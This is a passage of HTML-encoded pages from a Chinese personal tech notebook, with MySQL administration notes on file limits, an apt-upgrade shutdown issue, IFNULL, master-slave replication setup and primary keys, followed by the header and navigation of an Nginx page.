class=\"s1\">&#39;EOF&#39;</span>\n<span class=\"o\">[</span><span class=\"n\">Service</span><span class=\"o\">]</span>\n<span class=\"n\">LimitNOFILE</span><span class=\"o\">=</span><span class=\"mi\">1024000</span>\n<span class=\"n\">EOF</span>\n</code></pre></div>\n\n<p>然后重启mysql：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">systemctl</span><span class=\"w\"> </span><span class=\"n\">daemon</span><span class=\"o\">-</span><span class=\"n\">reload</span>\n<span class=\"n\">systemctl</span><span class=\"w\"> </span><span class=\"n\">restart</span><span class=\"w\"> </span><span class=\"n\">mysql</span><span class=\"o\">.</span><span class=\"n\">service</span>\n</code></pre></div>\n\n<p>使用这两种方法都能看到修改是否生效：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">ps</span><span class=\"w\"> </span><span class=\"n\">aux</span><span class=\"o\">|</span><span class=\"n\">grep</span><span class=\"w\"> </span><span class=\"n\">mysqld</span><span class=\"w\"> </span><span class=\"c1\">#找到mysqld的进程ID</span>\n<span class=\"n\">cat</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">proc</span><span class=\"o\">/</span><span class=\"err\">上述找到的进程</span><span class=\"n\">ID</span><span class=\"o\">/</span><span class=\"n\">limits</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"n\">grep</span><span class=\"w\"> </span><span class=\"n\">files</span>\n\n<span class=\"n\">mysql</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">u</span><span class=\"w\"> </span><span class=\"n\">root</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">p</span>\n<span class=\"n\">show</span><span class=\"w\"> </span><span class=\"n\">global</span><span class=\"w\"> </span><span class=\"n\">variables</span><span class=\"w\"> </span><span class=\"n\">like</span><span class=\"w\"> </span><span class=\"s2\">&quot;</span><span class=\"si\">%o</span><span class=\"s2\">pen_files_limit%&quot;</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"ubuntu1604mysqlapt-upgrade\">解决ubuntu16.04上mysql被apt upgrade自动关闭的问题<a class=\"headerlink\" href=\"#ubuntu1604mysqlapt-upgrade\" title=\"Permanent link\">&para;</a></h2>\n<p>问题现象： mysql服务自动退出，查日志<code>jounralctl -xe|tac|less</code>发现是<code>apt upgrade</code>引起的自动退出</p>\n<p>发现这是一个ubuntu16.04的特性，每天凌晨6点会自动apt upgrade安全更新，但不明原因这个更新失败了，apt关掉了mysql服务后由于异常退出并没有重新把mysql服务启动</p>\n<p>如果你想关掉自动更新（不建议）：修改<code>/etc/apt/apt.conf.d/20auto-upgrades</code>，改为<code>APT::Periodic::Unattended-Upgrade \"0\";</code></p>\n<p>执行<code>apt upgrade</code>或者<code>apt-get install -f</code>看看，能重现问题（mysql被关掉了），也发现了报错信息：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">mysql_upgrade</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"n\">Got</span><span class=\"w\"> </span><span class=\"n\">error</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"mi\">2002</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"n\">Can</span><span class=\"s1\">&#39;t connect to local MySQL server through socket &#39;</span><span class=\"sr\">/var/run/mysqld/</span><span class=\"n\">mysqld</span><span class=\"o\">.</span><span class=\"na\">sock</span><span class=\"err\">&#39;</span><span class=\"w\"> </span><span class=\"o\">(</span><span class=\"mi\">2</span><span class=\"o\">)</span><span class=\"w\"> </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"n\">connecting</span><span class=\"w\"> </span><span class=\"n\">to</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"n\">MySQL</span><span class=\"w\"> </span><span class=\"n\">server</span>\n<span class=\"w\">  </span><span class=\"n\">Upgrade</span><span class=\"w\"> </span><span class=\"n\">process</span><span class=\"w\"> </span><span class=\"n\">encountered</span><span class=\"w\"> </span><span class=\"n\">error</span><span class=\"w\"> </span><span class=\"n\">and</span><span class=\"w\"> </span><span class=\"n\">will</span><span class=\"w\"> </span><span class=\"n\">not</span><span class=\"w\"> </span><span class=\"k\">continue</span><span class=\"o\">.</span>\n</code></pre></div>\n\n<p>然后就查这个报错，发现了这个：https://github.com/chef-cookbooks/mysql/issues/466</p>\n<p>人家的解决方案是：<code>systemctl enable mysql</code>，然而我执行又遇到了systemd的报错：<code>Failed to execute operation: Invalid argument</code></p>\n<p>最终解决方案就是先disable一下</p>\n<div class=\"codehilite\"><pre><span></span><code>systemctl disable mysql\nsystemctl enable mysql\napt-get install -f\n</code></pre></div>\n\n<hr />\n<h2 id=\"null0\">NULL转0<a class=\"headerlink\" href=\"#null0\" title=\"Permanent link\">&para;</a></h2>\n<p>用函数IFNULL，写法就是<code>IFNULL(列名, 0)</code></p>\n<p>举个例子</p>\n<div class=\"codehilite\"><pre><span></span><code>select sum(IFNULL(score, 0)) from runs;\n</code></pre></div>\n\n<hr />\n<h2 id=\"mysqlslave\">给MySQL增加一个slave做主从复制<a class=\"headerlink\" href=\"#mysqlslave\" title=\"Permanent link\">&para;</a></h2>\n<p>master启用binlog配置server-id；master用mysqldump导出数据库；slave导入，开始slave</p>\n<h3 id=\"master\">master创建用户<a class=\"headerlink\" href=\"#master\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>GRANT REPLICATION SLAVE ON *.* TO &#39;slave_user&#39;@&#39;%&#39; IDENTIFIED BY &#39;password&#39;;\nFLUSH PRIVILEGES;\n</code></pre></div>\n\n<h3 id=\"masterbinlog\">master启用binlog<a class=\"headerlink\" href=\"#masterbinlog\" title=\"Permanent link\">&para;</a></h3>\n<p>/etc/mysql/conf.d/master.cnf</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">[mysqld]</span>\n<span class=\"na\">server-id</span><span class=\"o\">=</span><span class=\"s\">1</span>\n<span class=\"na\">log-bin</span><span class=\"o\">=</span><span class=\"s\">mysql-bin.log</span>\n<span class=\"na\">innodb_flush_log_at_trx_commit</span><span class=\"o\">=</span><span class=\"s\">1</span>\n<span class=\"na\">sync_binlog</span><span class=\"o\">=</span><span class=\"s\">1</span>\n</code></pre></div>\n\n<h3 id=\"_7\">搬运数据库<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h3>\n<p>由于binlog是在已经有数据之后才开启的，而mysql不会自己执行全量同步，就只能靠手工搬运sql文件咯</p>\n<p>跨地域复制网速是限制因素，就用7z压缩了</p>\n<div class=\"codehilite\"><pre><span></span><code>mysqldump -h 127.0.0.1 -P 3306 -u root -p --opt --single-transaction --comments --hex-blob --dump-date --no-autocommit --all-databases --master-data | 7z a -si dbdump.sql.7z\n7z x -so dbdump.sql.7z | mysql -h 127.0.0.1 -u root -p\n</code></pre></div>\n\n<p>你也可以使用ssh和管道操作，就不用创建文件了：</p>\n<div class=\"codehilite\"><pre><span></span><code>ssh master_server &quot;mysqldump -h 127.0.0.1 -P 3306 -u root -ppassword --opt --single-transaction --comments --hex-blob --dump-date --no-autocommit --all-databases --master-data |gzip&quot; | zcat | mysql -h 127.0.0.1 -u root -ppassword\n</code></pre></div>\n\n<p>其中<code>--master-data</code>很重要，导出的时候就自动带上了master的信息，无需再手工记录</p>\n<p><code>CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000002', MASTER_LOG_POS=15410;</code></p>\n<h3 id=\"slave\">配置slave<a class=\"headerlink\" href=\"#slave\" title=\"Permanent link\">&para;</a></h3>\n<p>实际使用中很容易遇到duplicate key的问题，导致slave线程停住，配置直接忽略这个错误 <a href=\"https://www.ducea.com/2008/02/13/mysql-skip-duplicate-replication-errors/\">参考</a></p>\n<div class=\"codehilite\"><pre><span></span><code>server-id               = 2\nrelay-log               = mysql-relay-bin.log\nlog_bin                 = mysql-bin.log\nslave-skip-errors = 1062\n</code></pre></div>\n\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">CHANGE</span><span class=\"w\"> </span><span class=\"nv\">MASTER</span><span class=\"w\"> </span><span class=\"nv\">TO</span><span class=\"w\"> </span><span class=\"nv\">MASTER_HOST</span><span class=\"o\">=</span><span class=\"s1\">&#39;12.34.56.789&#39;</span>,<span class=\"nv\">MASTER_USER</span><span class=\"o\">=</span><span class=\"s1\">&#39;slave_user&#39;</span>,<span class=\"w\"> </span><span class=\"nv\">MASTER_PASSWORD</span><span class=\"o\">=</span><span class=\"s1\">&#39;password&#39;</span><span class=\"c1\">;</span>\n<span class=\"nv\">START</span><span class=\"w\"> </span><span class=\"nv\">SLAVE</span><span class=\"c1\">;</span>\n<span class=\"k\">SHOW</span><span class=\"w\"> </span><span class=\"nv\">SLAVE</span><span class=\"w\"> </span><span class=\"nv\">STATUS</span>\\<span class=\"nv\">G</span>\n</code></pre></div>\n\n<h3 id=\"docker\">Docker镜像<a class=\"headerlink\" href=\"#docker\" title=\"Permanent link\">&para;</a></h3>\n<p>https://github.com/bitnami/bitnami-docker-mysql</p>\n<p>但这个镜像也不会帮你自动完成mysqldump，但配置一个slave还是很省心的</p>\n<p>注意权限配置，如果原本数据文件夹不存在，Docker创建的是root用户才能读写，导致容器直接退出，坑的地方在于没有报错信息</p>\n<div class=\"codehilite\"><pre><span></span><code>mkdir -p /srv/mysql-slave/data\nchown 1001 /srv/mysql-slave/data -R\n\ndocker run -it -v /srv/mysql-slave/my.cnf:/opt/bitnami/mysql/conf/my.cnf:ro -v /srv/mysql-slave/data:/bitnami/mysql/data \\\n     --name mysql-slave -e MYSQL_REPLICATION_MODE=slave -e MYSQL_REPLICATION_USER=slave_user -e MYSQL_REPLICATION_PASSWORD=password \\\n      -e MYSQL_MASTER_HOST=12.34.56.789 -e MYSQL_MASTER_PORT_NUMBER=3306 \\\n      -e MYSQL_MASTER_ROOT_USER=slave_user -e MYSQL_MASTER_ROOT_PASSWORD=password \\\n      bitnami/mysql:5.7\n</code></pre></div>\n\n<p>其中MYSQL_MASTER_ROOT_USER虽然人家说要root用户，实际上代码里只是用来select 1，所以用slave_user即可，参见<a href=\"https://github.com/bitnami/bitnami-docker-mysql/issues/87\">我提的issue</a></p>\n<p>容器启动后一般会由于master的binlog不完整执行sql失败（表不存在），需要继续操作：</p>\n<p>修改my.cnf在<code>[mysqld]</code>增加<code>skip-grant-tables</code> 注意复数，来保证slave可以连上进行操作</p>\n<p>然后执行sql语句<code>STOP SLAVE;</code> 再执行上述搬运数据库的操作，导入完成后<code>START SLAVE</code></p>\n<p>使用<code>show slave status;</code>查看slave状态</p>\n<p>另外，配合autossh和ssh的端口转发可以避免将mysql端口暴露在外：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">autossh</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">M</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">o</span><span class=\"w\"> </span><span class=\"n\">ServerAliveInterval</span><span class=\"o\">=</span><span class=\"mi\">30</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">o</span><span class=\"w\"> </span><span class=\"n\">ServerAliveCountMax</span><span class=\"o\">=</span><span class=\"mi\">3</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">L</span><span class=\"w\"> </span><span class=\"mf\">172.17.0.1</span><span class=\"o\">:</span><span class=\"mi\">3306</span><span class=\"o\">:</span><span class=\"mf\">127.0.0.1</span><span class=\"o\">:</span><span class=\"mi\">3306</span><span class=\"w\"> </span><span class=\"n\">user</span><span class=\"mf\">@12.34.56.789</span>\n</code></pre></div>\n\n<p>相应地，slave配置的master地址改为172.17.0.1</p>\n<hr />\n<h2 id=\"mysql\">为什么MySQL表必须要有主键<a class=\"headerlink\" href=\"#mysql\" title=\"Permanent link\">&para;</a></h2>\n<p>Learned from: https://federico-razzoli.com/why-mysql-tables-need-a-primary-key</p>\n<p>InnoDB中非主键的索引是额外存储的，使用索引查询先查到主键，再用主键查数据——没有主键的查询会慢一些</p>\n<p>没有主键也没有隐式主键（创建表的时候指定的NOT NULL UNIQUE列）会自动使用递增的row id作为主键，但递增需要全局锁<code>dict_sys-&gt;mutex</code>——多个表同时插入时性能下降</p>\n<p>在binlog中删除操作有主键只需要记录主键，没有主键需要记录所有内容——binlog更大</p>\n<p>从机执行binlog中的delete操作，每次操作都需要扫描全表——性能显著下降</p>\n<p>集群如Galera需要等待所有节点commit才会给客户端返回成功——用户感受到很高的延迟</p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Nginx/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../MySQL/\">\n      \n      \n        <link rel=\"next\" href=\"../RabbitMQ/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Nginx - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#nginx\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Nginx\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li 